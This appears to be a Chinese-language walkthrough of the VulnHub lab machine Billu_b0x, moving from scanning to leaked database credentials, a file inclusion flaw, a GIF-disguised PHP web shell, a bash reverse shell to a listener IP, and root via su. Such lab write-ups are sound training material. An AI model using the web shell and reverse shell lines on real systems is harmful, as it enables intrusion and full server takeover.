前言
- vulnhub上的一个基础靶机Billu_b0x
- 难度不算很大,但是对于第一次打靶机的小白挑战性还是蛮大的
- 需要一台kali,一台靶机(基于nat模式)
0x01
打开靶机后发现需要登录,但是我们又不知道账户和密码,所以就需要开始信息收集,寻找有用的信息
扫描ip
收集信息第一步,我们需要知道他的ip,在kali下面用arp-scan工具扫描当前局域网下的ip
arp-scan -l
这里其中的137,139,是我本机其他虚拟机的ip,这里靶机的地址为130,获取ip地址之后,我们并不知道他开启了哪些服务。
端口
查看靶机开启的端口,知道开启了哪些服务,利用kali的nmap工具扫描
nmap ip
开启了80端口,说明可能有web服务,22,ssh端口
先去浏览器访问一下他的80端口
是一个登录界面,提示show me your sqli skills,展示你的sql注入能力,那我们就尝试注入,这里直接用sqlmap跑一下(需要找到参数qwq
然后尝试了一下这个登录界面似乎没有注入点(0.o
扫目录
打ctf常规的扫目录,(比较熟练了
用kali自带的dirb扫描网站的目录(dirsearch也是阔以的
dirb ip dirsearch -u "ip"
目录扫完还是有不少利用点的那就一个一个看看
0x02
add.php界面
一个文件上传界面,但是上传任何一个东西后好像没啥利用点
/c目录
空白界面也没啥用
head.php
好像只有一个图片没有啥利用点
/images
放了一些图片路径但是点进去也没使用,而且之前那个上传界面传的东西也没在这里
/in界面
一个phpinfo();,我没找到一些有用的东西,大致翻了一下disable_function,没有禁掉一些常见的命令执行函数
/phpmy
看到phpmy就能想到这应该是一个phpmyadmin的一个旧版本漏洞
也是不出所料
我也是尝试了很多phpmyadmin的默认密码发现登不进去,无奈之下开启下一个目录
/show
空白界面
/test.php
传一个file参数,那就尝试get传一个
仍然提示是file参数是空的,那大概率是post传参了
果然了,那就尝试读取一些文件
ok明确了,file传入的文件会被下载下来,那就把之前看过的目录都下载下来
读取代码
test.php
<?php
function file_download(download)
{
if(file_exists(download))
{
header("Content-Description: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename(download).'"'); header('Content-Length: ' . filesize(download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile (download);
}
else
{
echo "file not found"; }
}
if(isset(_POST['file']))
{
file_download($_POST['file']);
}
else{
echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}
test.php就是一个下载文件的继续读取
这里漏掉一个panel.php被重定向到index.php,就是最开始的那个登陆界面
panel.php
<?php
session_start();
include('c.php');
include('head2.php');
if(@_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset(_POST['lg']))
{
unset(_SESSION['logged']);
unset(_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
<input type=submit name=continue value="continue"></form><br><br>';
if(isset(_POST['continue']))
{dir=getcwd();
choice=str_replace('./','',_POST['load']);
if(choice==='add')
{
include(dir.'/'.choice.'.php');
die();
}
if(choice==='show')
{
include(dir.'/'.choice.'.php');
die();
}
else
{
include(dir.'/'._POST['load']);
}
}
if(isset(_POST['upload']))
{name=mysqli_real_escape_string(conn,_POST['name']);
address=mysqli_real_escape_string(conn,_POST['address']);id=mysqli_real_escape_string(conn,_POST['id']);
if(!empty(_FILES['image']['name']))
{iname=mysqli_real_escape_string(conn,_FILES['image']['name']);
r=pathinfo(_FILES['image']['name'],PATHINFO_EXTENSION);
image=array('jpeg','jpg','gif','png');
if(in_array(r,image))
{finfo = @new finfo(FILEINFO_MIME);
filetype = @finfo->file(_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',filetype ) || preg_match('/image\/png/',filetype ) || preg_match('/image\/gif/',filetype ))
{
if (move_uploaded_file(_FILES['image']['tmp_name'], 'uploaded_images/'._FILES['image']['name']))
{
echo "Uploaded successfully ";
update='insert into users(name,address,image,id) values(\''.name.'\',\''.address.'\',\''.iname.'\', \''.id.'\')'; mysqli_query(conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
分析代码发现一个文件包含漏洞
if(isset(_POST['continue']))
{dir=getcwd();
choice=str_replace('./','',_POST['load']);
if(choice==='add')
{
include(dir.'/'.choice.'.php');
die();
}
if(choice==='show')
{
include(dir.'/'.choice.'.php');
die();
}
else
{
include(dir.'/'._POST['load']);
}
}
大致就是通过post传一个continue但是后面两个else传的参数,能利用的好像只有
{
include(dir.'/'._POST['load']);
}
如果传的参数是load那么他就会被包含load参数后面跟的文件
c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
这里发现了登陆phpmyadmin的账户和密码,尝试登陆
登陆进去了尝试查询一些有用的信息
这里查询到一个账户和密码,
然后继续搜索找不到什么有用的界面
拿着账号和密码去登陆最开始的index.php
上传木马
在add_user下发现可以上传文件
加上之前下载的这个页面的源代码可知他会检测是不是图片文件
那直接习惯行的上传一个图片马加上GIF89a头
GIF89a
<?php system($_REQUEST['cmd']);?>
上传成功利用刚才发现的文件包含漏洞
这里的文件路径可以从源码中得到
会把上传成功文件移动的uploaded_images这个目录下
包含成功,查看是否可以执行命令
可以执行,那么下面目的就明确了反弹shell拿下root权限
0x03
反弹shell
echo "bash -i >& /dev/tcp/192.168.13.128/6666 0>&1" | bash
url编码传进去,同时kali监听6666端口
nc -lvvp 6666
然后就是提权了。
然后就可以去查看phpmy里面的config.inc.php里面有靶机的账户和密码
直接就拿下但是我们输入su的时候,提示需要一个终端
python -c 'import pty;pty.spawn("/bin/bash")'
这个就可以打开一个终端在输入su输入密码就拿到root权限了(一般靶机都会安装的有py
0x03
总结
- 信息收集
- 找漏洞点
- 提权
评论(1)